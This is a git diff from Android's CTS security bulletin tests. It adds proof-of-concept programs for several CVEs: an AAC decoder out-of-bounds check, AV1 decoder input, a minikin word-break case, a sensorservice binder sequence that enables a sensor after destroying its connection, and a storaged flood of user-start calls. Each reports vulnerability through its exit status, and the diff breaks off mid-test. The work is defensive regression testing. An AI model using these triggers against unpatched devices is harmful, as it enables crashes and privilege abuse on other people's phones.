+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0451",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "external/aac/libSYS/include",
+ "external/aac/libAACdec/include",
+ "external/aac/libSBRdec/include",
+ "external/aac/libFDK/include",
+ "external/aac/libAACdec/src",
+ "external/aac/libArithCoding/include",
+ "external/aac/libMpegTPDec/include",
+ "external/aac/libPCMutils/include",
+ "external/aac/libDRCdec/include",
+ "external/aac/libSBRdec/src",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp
new file mode 100644
index 0000000..9080236
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp
@@ -0,0 +1,130 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <fstream>
+#include <iostream>
+#include <limits>
+#include "../includes/common.h"
+#include "aacdecoder.h"
+#include "aacdecoder_lib.h"
+#include "sbr_ram.h"
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+bool kIsVulnerable = false;
+
+class Codec {
+ public:
+ Codec() = default;
+ ~Codec() { deInitDecoder(); }
+ bool initDecoder();
+ void decodeFrames(UCHAR *data, UINT size);
+ void deInitDecoder();
+ int validateQmfDomainBounds();
+
+ private:
+ HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+ AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+};
+
+bool Codec::initDecoder() {
+ mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADIF, kNumberOfLayers);
+ if (!mAacDecoderHandle) {
+ return false;
+ }
+ return true;
+}
+
+void Codec::deInitDecoder() {
+ aacDecoder_Close(mAacDecoderHandle);
+ mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+ while (size > 0) {
+ UINT inputSize = size;
+ UINT valid = size;
+ mErrorCode = aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+ if (mErrorCode != AAC_DEC_OK) {
+ ++data;
+ --size;
+ } else {
+ INT_PCM outputBuf[2048 * kMaxChannelCount];
+ aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, 2048 * kMaxChannelCount, 0);
+ if (valid >= inputSize) {
+ return;
+ }
+ UINT offset = inputSize - valid;
+ data += offset;
+ size = valid;
+ }
+ }
+}
+
+int Codec::validateQmfDomainBounds() {
+ // Check OOB for qmfDomain
+ void *qmfDomainBound = &(mAacDecoderHandle->qmfModeCurr);
+
+ HANDLE_SBRDECODER hSbrDecoder = mAacDecoderHandle->hSbrDecoder;
+ // Referring sbrDecoder_AssignQmfChannels2SbrChannels()
+ {
+ void *qmfDomainInChPtr = nullptr;
+ void *qmfDomainOutChPtr = nullptr;
+ int channel = 0;
+ int element = 0;
+ int absChOffset = 0;
+ for (element = 0; element < hSbrDecoder->numSbrElements; ++element) {
+ if (hSbrDecoder->pSbrElement[element] != NULL) {
+ for (channel = 0; channel < hSbrDecoder->pSbrElement[element]->nChannels;
+ ++channel) {
+ qmfDomainInChPtr = &hSbrDecoder->pQmfDomain->QmfDomainIn[absChOffset + channel];
+ qmfDomainOutChPtr =
+ &hSbrDecoder->pQmfDomain->QmfDomainOut[absChOffset + channel];
+ if (qmfDomainBound <= qmfDomainInChPtr || qmfDomainBound <= qmfDomainOutChPtr) {
+ kIsVulnerable = true;
+ }
+ }
+ absChOffset += hSbrDecoder->pSbrElement[element]->nChannels;
+ }
+ }
+ }
+ return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
+
+int main(int argc, char *argv[]) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ std::ifstream file;
+ file.open(argv[1], std::ios::in | std::ios::binary);
+ if (!file.is_open()) {
+ return EXIT_FAILURE;
+ }
+ file.ignore(std::numeric_limits<std::streamsize>::max());
+ std::streamsize length = file.gcount();
+ file.clear();
+ file.seekg(0, std::ios_base::beg);
+ UCHAR *data = new UCHAR[length];
+ file.read(reinterpret_cast<char *>(data), length);
+ file.close();
+
+ Codec codec = Codec();
+ if (codec.initDecoder()) {
+ codec.decodeFrames(data, length);
+ }
+ return codec.validateQmfDomainBounds();
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
new file mode 100644
index 0000000..1876c60
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0470",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ shared_libs: [
+ "libmediandk",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
new file mode 100644
index 0000000..d434e11
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <media/NdkMediaCodec.h>
+
+#define DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS 1000
+#define TOTAL_TIMEOUT_MICROSECONDS (300 * 1000 * 1000)
+#define FILE_SIZE 72
+#define VIDEO_MAX_WIDTH 176
+#define VIDEO_MAX_HEIGHT 144
+#endif /* _64_BIT */
+
+int main(int argc, char *argv[]) {
+ (void)argc;
+ (void)argv;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ FILE *inFile = fopen(argv[1], "rb");
+ if (!inFile) {
+ return EXIT_FAILURE;
+ }
+ AMediaCodec *codec;
+ media_status_t status;
+ int64_t inActiveTime = 0ll;
+ bool isEncoder = false;
+
+ codec = AMediaCodec_createCodecByName("c2.android.av1-aom.decoder");
+ if (!codec) {
+ fclose(inFile);
+ return EXIT_FAILURE;
+ }
+ /* Set Format */
+ AMediaFormat *format = AMediaFormat_new();
+ if (!format) {
+ fclose(inFile);
+ AMediaCodec_delete(codec);
+ return EXIT_FAILURE;
+ }
+ AMediaFormat_setString(format, AMEDIAFORMAT_KEY_MIME, "video/av01");
+ AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_MAX_INPUT_SIZE, FILE_SIZE);
+ AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_WIDTH, VIDEO_MAX_WIDTH);
+ AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_HEIGHT, VIDEO_MAX_HEIGHT);
+ AMediaCodec_configure(codec, format, nullptr, nullptr, isEncoder);
+ AMediaCodec_start(codec);
+
+ size_t filePos = 0;
+ bool inputEOS = false;
+ while (inActiveTime < TOTAL_TIMEOUT_MICROSECONDS) {
+ /* Queue input data */
+ if (!inputEOS) {
+ uint32_t bufferFlags = 0;
+ ssize_t inIdx =
+ AMediaCodec_dequeueInputBuffer(codec, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+ if (inIdx >= 0) {
+ ssize_t bytesRead = 0;
+ size_t bufSize;
+ uint8_t *buf = AMediaCodec_getInputBuffer(codec, inIdx, &bufSize);
+ if (filePos < FILE_SIZE) {
+ bytesRead = fread(buf, 1, FILE_SIZE, inFile);
+ filePos += FILE_SIZE;
+ fseek(inFile, filePos, SEEK_SET);
+ }
+ if (bytesRead <= 0) {
+ bytesRead = 0;
+ inputEOS = true;
+ bufferFlags |= AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM;
+ }
+ status = AMediaCodec_queueInputBuffer(codec, inIdx, 0, bytesRead, 0, bufferFlags);
+ if (status != AMEDIA_OK) {
+ break;
+ }
+ inActiveTime = 0;
+ } else if (inIdx == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+ inActiveTime += DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS;
+ } else {
+ break;
+ }
+ }
+ /* Dequeue output */
+ AMediaCodecBufferInfo info;
+ ssize_t outIdx =
+ AMediaCodec_dequeueOutputBuffer(codec, &info, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+ if (outIdx == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED ||
+ outIdx == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
+ inActiveTime = 0;
+ } else if (outIdx >= 0) {
+ status = AMediaCodec_releaseOutputBuffer(codec, outIdx, false);
+ if (status != AMEDIA_OK) {
+ break;
+ }
+ if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
+ break;
+ }
+ inActiveTime = 0;
+ } else if (outIdx == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+ inActiveTime += DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS;
+ } else {
+ break;
+ }
+ }
+ AMediaFormat_delete(format);
+ AMediaCodec_stop(codec);
+ AMediaCodec_delete(codec);
+ fclose(inFile);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp
new file mode 100644
index 0000000..b79224c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0313",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "frameworks/minikin/libs/",
+ ],
+ shared_libs: [
+ "libminikin",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp
new file mode 100644
index 0000000..16b4242
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "minikin/LayoutUtils.h"
+
+using namespace minikin;
+
+int main() {
+ // This PoC reuses the testcase provided in the GTest "BidiCtrl"
+ // of LayoutSplitterTest.cpp
+ const uint16_t testCase[] = {0x2066, 0x2069, 0x202A, 0x202E, 0x200E, 0x200F};
+ size_t offset = 0;
+ size_t len = sizeof(testCase) / sizeof(uint16_t);
+ return (getNextWordBreakForCache(U16StringPiece(testCase, len), offset) == len)
+ ? EXIT_VULNERABLE
+ : EXIT_SUCCESS;
+}
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp
similarity index 60%
copy from tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp
index dd59e9c..2b63d91 100644
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp
@@ -1,5 +1,4 @@
-//
-// Copyright (C) 2016 The Android Open Source Project
+// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -12,9 +11,20 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-//
-android_test_helper_app {
- name: "CtsPermissionEscalationAppNonRuntime",
- certificate: ":cts-testkey2",
+cc_test {
+ name: "CVE-2021-0318",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libsensor",
+ "libsensorservice",
+ "libbinder",
+ "libutils",
+ ],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-Wextra",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp
new file mode 100644
index 0000000..cd67392
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp
@@ -0,0 +1,122 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <binder/ProcessState.h>
+#include <sensor/Sensor.h>
+#include <stdio.h>
+
+#include "../includes/common.h"
+
+using namespace android;
+
+void poc(int handle) {
+ status_t err;
+ sp<IServiceManager> sm = defaultServiceManager();
+ String16 name(String16("sensorservice"));
+ sp<IBinder> service = sm->getService(name);
+
+ if (service) {
+ Parcel data, reply;
+ data.writeInterfaceToken(service->getInterfaceDescriptor());
+ data.writeString8(String8("com.android.systemui.doze.DozeScreenBrightness"));
+ data.writeInt32(0 /*mode*/);
+ data.writeString16(String16("com.android.systemui"));
+ err = service->transact(2 /*CREATE_SENSOR_EVENT_CONNECTION*/, data, &reply, 0);
+ printf("CREATE_SENSOR_EVENT_CONNECTION err %08x \n", err);
+
+ sp<IBinder> binder = reply.readStrongBinder();
+
+ if (binder) {
+ {
+ Parcel data, reply;
+ data.writeInterfaceToken(binder->getInterfaceDescriptor());
+ data.writeInt32(handle); // handle
+ data.writeInt32(1); // enabled
+ data.writeInt64(0); // samplingPeriodNs
+ data.writeInt64(989680); // maxBatchReportLatencyNs
+ data.writeInt32(0); // reservedFlags
+ err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
+ printf("ENABLE_DISABLE transact err %08x \n", err);
+ }
+
+ sleep(1);
+
+ {
+ Parcel data, reply;
+ String16 name = binder->getInterfaceDescriptor();
+ data.writeInterfaceToken(name);
+ err = binder->transact(6 /*DESTROY*/, data, &reply, 0);
+ printf("DESTROY transact err %08x \n", err);
+ }
+
+ {
+ Parcel data, reply;
+ data.writeInterfaceToken(binder->getInterfaceDescriptor());
+ data.writeInt32(handle); // handle
+ data.writeInt32(1); // enabled
+ data.writeInt64(0); // samplingPeriodNs
+ data.writeInt64(989680); // maxBatchReportLatencyNs
+ data.writeInt32(0); // reservedFlags
+ err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
+ if (reply.readInt32() == OK) {
+ // Success in enabling a sensor after destroy leads to
+ // security vulnerability.
+ exit(EXIT_VULNERABLE);
+ }
+ printf("ENABLE_DISABLE transact err %08x\n", err);
+ }
+ } else {
+ printf("binder is null!\n");
+ sleep(3);
+ }
+ }
+}
+
+void get_sensor_list() {
+ sp<IServiceManager> sm = defaultServiceManager();
+ String16 name(String16("sensorservice"));
+ sp<IBinder> service = sm->getService(name);
+ if (service) {
+ Parcel data, reply;
+ data.writeInterfaceToken(String16("android.gui.SensorServer"));
+ data.writeString16(String16("opPackageName"));
+ service->transact(1 /*GET_SENSOR_LIST*/, data, &reply);
+
+ Sensor s;
+ Vector<Sensor> v;
+ uint32_t n = reply.readUint32();
+ v.setCapacity(n);
+ while (n > 0) {
+ n--;
+ reply.read(s);
+ v.add(s);
+ String8 nm = s.getName();
+ std::string nstr = nm.string();
+ String8 vd = s.getVendor();
+ std::string vstr = vd.string();
+ int32_t handle = s.getHandle();
+ printf("%s : %s, handle %d\n", nstr.c_str(), vstr.c_str(), handle);
+ poc(handle);
+ }
+ }
+}
+
+int main(int /* argc */, char** /* argv */) {
+ get_sensor_list();
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp
new file mode 100644
index 0000000..30915d5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0330",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libbinder",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
new file mode 100644
index 0000000..4d7254f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
@@ -0,0 +1,70 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <pthread.h>
+#include <unistd.h>
+#include "../includes/common.h"
+
+using namespace android;
+
+static int userId = 0;
+constexpr int kMaxThreads = 2;
+constexpr int kMaxUsers = 1024 * 1024;
+constexpr int kSleepDuration = 5;
+
+
+static void *trigger_onUserStarted(void *p __attribute__((unused))) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> service = sm->checkService(String16("storaged"));
+
+ if (not service) {
+ return nullptr;
+ }
+
+ while (userId < kMaxUsers) {
+ Parcel data, reply;
+ data.writeInterfaceToken(service->getInterfaceDescriptor());
+ data.writeInt32(++userId);
+ service->transact(1, data, &reply, 0);
+ }
+
+ return nullptr;
+}
+
+int main() {
+ pthread_t threads[kMaxThreads];
+
+ for (int t = 0; t < kMaxThreads; ++t) {
+ pthread_create(&threads[t], nullptr, trigger_onUserStarted, nullptr);
+ }
+ for (int t = 0; t < kMaxThreads; ++t) {
+ pthread_join(threads[t], nullptr);
+ }
+
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> service = sm->checkService(String16("storaged"));
+ if (service) {
+ break;
+ }
+ sleep(kSleepDuration);
+ }
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
index 80e125f..34df821 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
@@ -172,14 +172,14 @@
#ifdef CHECK_UNINITIALIZED_MEMORY
bool is_memory_uninitialized() {
for (int i = 0; i < s_allocation_index; ++i) {
- char *mem_ptr = s_allocation_list[i].mem_ptr;
+ uint8_t *mem_ptr = s_allocation_list[i].mem_ptr;
size_t mem_size = s_allocation_list[i].mem_size;
if (mem_ptr) {
#ifdef CHECK_FOUR_BYTES
if(mem_size > (2 * sizeof(uint32_t))) {
- char *mem_ptr_start = (char *)s_allocation_list[i].mem_ptr;
- char *mem_ptr_end = (char *)s_allocation_list[i].mem_ptr + mem_size - 1;
+ uint8_t *mem_ptr_start = (uint8_t *) s_allocation_list[i].mem_ptr;
+ uint8_t *mem_ptr_end = (uint8_t *) s_allocation_list[i].mem_ptr + mem_size - 1;
for (size_t j = 0; j < sizeof(uint32_t); ++j) {
if (*mem_ptr_start++ == INITIAL_VAL) {
return true;
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
index 393848d..0629ec3 100644
--- a/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
@@ -20,15 +20,22 @@
#include <codecvt>
#include <fstream>
#include <iostream>
+#include "../includes/common.h"
const char16_t* spec = u"";
const char16_t* host = u"";
int main(int argc, char *argv[]) {
+ bool shouldRunMultipleTimes = false;
if (argc != 2) {
- std::cout << "incorrect number of arguments" << std::endl;
- std::cout << "usage: ./pacrunner mypac.pac" << std::endl;
- return EXIT_FAILURE;
+ if (argc != 3) {
+ std::cout << "incorrect number of arguments" << std::endl;
+ std::cout << "usage: ./pacrunner mypac.pac (or)" << std::endl;
+ std::cout << "usage: ./pacrunner mypac.pac true" << std::endl;
+ return EXIT_FAILURE;
+ } else {
+ shouldRunMultipleTimes = true;
+ }
}
ProxyResolverV8Handle* handle = ProxyResolverV8Handle_new();
@@ -50,7 +57,10 @@
std::codecvt_utf8_utf16<char16_t>, char16_t>{}.from_bytes(u8Script);
ProxyResolverV8Handle_SetPacScript(handle, u16Script.data());
- ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
+ time_t currentTime = start_timer();
+ do {
+ ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
+ } while (shouldRunMultipleTimes && timer_active(currentTime));
ProxyResolverV8Handle_delete(handle);
return EXIT_SUCCESS;
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 0605b39..a028330 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -160,8 +160,11 @@
* @param arguments input arguments for the poc
* @param receiver the type of receiver to run against
*/
- public static void runPoc(String pocName, ITestDevice device, int timeout,
+ public static int runPoc(String pocName, ITestDevice device, int timeout,
String arguments, IShellOutputReceiver receiver) throws Exception {
+ String remoteFile = String.format("%s%s", TMP_PATH, pocName);
+ SecurityTestCase.getPocPusher(device).pushFile(pocName, remoteFile);
+
assertPocExecutable(pocName, device);
if (receiver == null) {
receiver = new NullOutputReceiver();
@@ -183,8 +186,9 @@
MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
reportLog.addValue("poc_name", pocName, ResultType.NEUTRAL, ResultUnit.NONE);
+ int exitStatus = -1;
try {
- int exitStatus = Integer.parseInt(exitStatusString);
+ exitStatus = Integer.parseInt(exitStatusString);
reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
} catch (NumberFormatException e) {
// Getting the exit status is a bonus. We can continue without it.
@@ -193,6 +197,7 @@
reportLog.submit();
runCommandLine("rm " + exitStatusFilepath, device);
+ return exitStatus;
}
/**
@@ -406,26 +411,7 @@
*/
public static int runPocGetExitStatus(String pocName, String arguments, ITestDevice device,
int timeout) throws Exception {
- assertPocExecutable(pocName, device);
- CollectingOutputReceiver receiver = new CollectingOutputReceiver();
- String cmd = TMP_PATH + pocName + " " + arguments + " > /dev/null 2>&1; echo $?";
- long time = System.currentTimeMillis();
- device.executeShellCommand(cmd, receiver, timeout, TimeUnit.SECONDS, 0);
- time = System.currentTimeMillis() - time;
- String exitStatusString = receiver.getOutput().trim();
-
- try {
- int exitStatus = Integer.parseInt(exitStatusString);
- MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
- reportLog.addValue("poc_name", pocName, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.submit();
- return exitStatus;
- } catch (NumberFormatException e) {
- throw new IllegalArgumentException(String.format(
- "Could not get the exit status (%s) for '%s' (%d ms).",
- exitStatusString, cmd, time));
- }
+ return runPoc(pocName, device, timeout, arguments, null);
}
/**
@@ -459,9 +445,24 @@
* @param device device to be ran on
*/
public static int runProxyAutoConfig(String pacName, ITestDevice device) throws Exception {
+ return runProxyAutoConfig(pacName, null, device);
+ }
+
+ /**
+ * Runs the binary against a given proxyautoconfig file, asserting that it doesn't
+ * crash
+ * @param pacName the name of the proxy autoconfig script from the /res folder
+ * @param arguments input arguments for pacrunner
+ * @param device device to be ran on
+ */
+ public static int runProxyAutoConfig(String pacName, String arguments,
+ ITestDevice device) throws Exception {
pacName += ".pac";
String targetPath = TMP_PATH + pacName;
AdbUtils.pushResource("/" + pacName, targetPath, device);
+ if(arguments != null) {
+ targetPath += " " + arguments;
+ }
runPocAssertNoCrashes(
"pacrunner", device, targetPath,
new CrashUtils.Config().setProcessPatterns("pacrunner"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
new file mode 100644
index 0000000..e6e1015
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+import static org.junit.Assume.assumeFalse;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2016_2182 extends SecurityTestCase {
+
+ /**
+ * b/32096880
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2017-03")
+ @Test
+ public void testPocCVE_2016_2182() throws Exception {
